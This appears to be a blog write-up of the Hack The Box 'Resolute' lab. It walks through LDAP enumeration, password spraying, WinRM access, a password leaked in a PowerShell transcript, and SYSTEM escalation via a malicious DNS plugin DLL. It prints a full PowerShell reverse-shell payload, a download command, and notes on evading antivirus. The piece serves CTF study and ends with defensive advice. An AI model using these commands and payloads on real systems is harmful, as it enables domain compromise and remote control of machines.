This page looks best with JavaScript enabled

Hack The Box :: Resolute

 ·  ☕ 7 min read  ·  🧔🏻 noobintheshell

Resolute is a Medium Windows box created by egre55. It was released on December 7th, 2019 and retired on May 30th, 2020. The users rated the difficulty of this box 4.8/10 and gave it an appreciation score of 4.7/5.

Resolute Info Card
Resolute Info Card


We can bind anonymously to a Windows 2016 Active Directory where we find a comment in a user object that contains the default password used when creating new users. We do a Password Spraying and find that the password works for the user melanie. As the user is as well part of the Remote Management Users, we can log in through WinRM and grab the user flag. The user ryan is part of the same group plus the DnsAdmins group which has some known escalation path to SYSTEM. We find a hidden Powershell transcript file that leaks his password. We escalate privileges by injecting a malicious DLL into the DNS service.

Reconnaissance & Enumeration

Open Ports

An NMAP scan shows the following (partial) output:

$ sudo nmap -sS -sV -p-

53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-05-27 19:50:22Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn  Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http  Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp  open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing

We discover:

  • the common open ports in a Windows Domain Controller. The domain name is megabank.local,
  • WinRM management service over HTTP on port 5985.

LDAP discovery

We can start to list the domain users with from Impacket: -all -dc-ip megabank.local/ -all -dc-ip megabank.local/

We get results, which means that the Active Directory (AD) instance allows anonymous binding. The list is pretty long and only the Administrator account has previously logged in.

We can explore the AD with JXplorer and the following configuration:

JXplorer configuration
JXplorer configuration

We retrieve the following information:

  • the domain controller FQDN: Resolute.megabank.local which is a Windows Server 2016 Standard,
  • a server MS02.megabank.local as well a Windows Server 2016 Standard,
  • a security group Contractors that is member of the groups DnsAdmins and Remote Management Users. The user ryan is part of this group and can, therefore, log in through WinRM and manage the DNS service,
  • the user melanie is as well part of the Remote Management Users group.

Gaining Access

Without any credentials, but with a list of user accounts, we can try AS-REP Roasting. This attack is explained in detail in this blog post. To make it short, if a user is configured to not require Kerberos pre-authentication, anyone can send a request (AS_REQ) to the KDC and receive a response (AS_REP). The response contains an encrypted chunk of data related to that user that can be cracked offline to retrieve the user password. This can be automatized with, another Impacket tool: megabank.local/ -usersfile users.txt -dc-ip megabank.local/ -usersfile users.txt -dc-ip

This does not leak anything…

Going back to AD enumeration, we find the following comment in marko user object:

Account created. Password set to Welcome123!

It is not marko password though. Let’s do some Password Spraying to check if this default password was set to another user:

crackmapexec smb -u users.txt -p ‘Welcome123!’
crackmapexec smb -u users.txt -p ‘Welcome123!’

And there we have a hit! As melanie is part of the group Remote Management Users, we use Evil-WinRM to log in and grab the user flag:

evil-winrm -i -u melanie -p Welcome123!
evil-winrm -i -u melanie -p Welcome123!

Local Reconnaissance & Enumeration

As there are known privilege escalation methods with users in the DnsAdmins group, we will try to move laterally to the user ryan.

We find an uncommon hidden folder PSTranscripts in the root folder:

ls -h /
ls -h /

This folder contains another hidden folder 20191203 which contain a hidden file PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt.

Privilege Escalation

User pivoting

We can retrieve this text file with the download command of Evil-WinRM. This file happens to be a Windows PowerShell transcript, a recorded Powershell session to text. This can be achieved with the Start-Transcript cmdlet.

As we can read in the header, this transcript has been generated by the user ryan:

Windows PowerShell transcript start
Start time: 20191203063201
Username: **MEGABANK\ryan**
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3

Below that, we see the commands that have been recorded and one of them is:

name=”Command”; value=”cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!

which leaks ryan password. As he is as well part of the Remote Management Users group, we can kill melanie session and switch to ryan.

Root escalation

We find a note.txt file on ryan desktop. It contains:

Email to team:

- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute

As said before, there is a known way from users in the DnsAdmins group to SYSTEM. This leverages DNS plugin DLL to inject a malicious payload. The attack is described in this article and we will mainly be paraphrasing it.

We first have to compile a DNS plugin DLL. We will use the skeleton code found here. We open the project in Visual Studio Community 2019 and simply add a system call in the DnsPluginInitialize function. The first payload will be a simple ping home:


We compile the DLL and upload it on the box by serving it through a local HTTP listener:

*Evil-WinRM* PS C:\tmp> IEX (New-Object Net.WebClient).DownloadFile('', 'c:\tmp\dnsinject.dll')

We test that the payload works with rundll32.exe:

*Evil-WinRM* PS C:\tmp> rundll32.exe .\dnsinject.dll,DnsPluginInitialize

It works! The next step is to inject the DLL in the DNS service. This is accomplished with the DNS management tool dnscmd:

dnscmd Resolute /config /serverlevelplugindll ‘c:\tmp\dnsinject.dll’
dnscmd Resolute /config /serverlevelplugindll ‘c:\tmp\dnsinject.dll’

Seems successful. Let’s verify the DNS registry key:

Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Services\DNS
Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Services\DNS

Now we only need to restart the DNS service to trig our payload:

*Evil-WinRM* PS C:\tmp> sc.exe stop dns
*Evil-WinRM* PS C:\tmp> sc.exe start dns

But…nothing! And the registry parameter disappeared. This must be due to what was mentioned in the note.txt. Let’s do it in one go:

*Evil-WinRM* PS C:\tmp> dnscmd.exe Resolute /config /ServerLevelPluginDll c:\tmp\dnsinject.dll;sc.exe stop dns;sc.exe start dns

And we get our ping once again. We can now replace the command with a reverse shell payload. We are going to use a Nishang reverse Powershell:

$client = New-Object System.Net.Sockets.TCPClient('',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

If we run it as is from the command line, it works perfectly. However, from our DLL, we will need to launch it with the powershell -c command and unfortunately, this triggers the antivirus:

reverse Powershell flagged by antivirus
reverse Powershell flagged by antivirus

Encoding the payload with base64 does still trigger the antivirus. What about a TCP bind shell? We are again using a Nishang payload. Let’s encode it to avoid messing with special characters:

bin Powershell not flagged by antivirus
bin Powershell not flagged by antivirus

And this works like a charm! Let’s replace our ping command in our DLL with our encoded payload:

Win32Project1.cpp with bind shell payload
Win32Project1.cpp with bind shell payload

We rebuild the DLL, redo the whole steps to inject it into the DNS service and fire it to get the root flag:

root flag
root flag


This was an enjoyable box with a new path to SYSTEM for me. The privilege escalation was well documented on the web so there were no particular difficulties here.

As usual, here are some takeaways:

  • disable Active Directory anonymous binding and avoid using objects attributes to store credentials and other secrets,
  • on Domain Controllers, closely monitor any DNS service action, dnscmd calls and DNS setting changes in the registry…particularly the ServerLevelPluginDll value.


[1] Impacket collection scripts

[2] JXplorer

[3] AS-REP Roasting

[4] Password Spraying

[5] Evil-WinRM

[6] Start-Transcript cmdlet

[7] DNS plugin DLL injection

[8] Visual Studio Community 2019

[9] Nishang reverse Powershell

[10] Nishang bind shell

Share on

AppSec Engineer and CTFer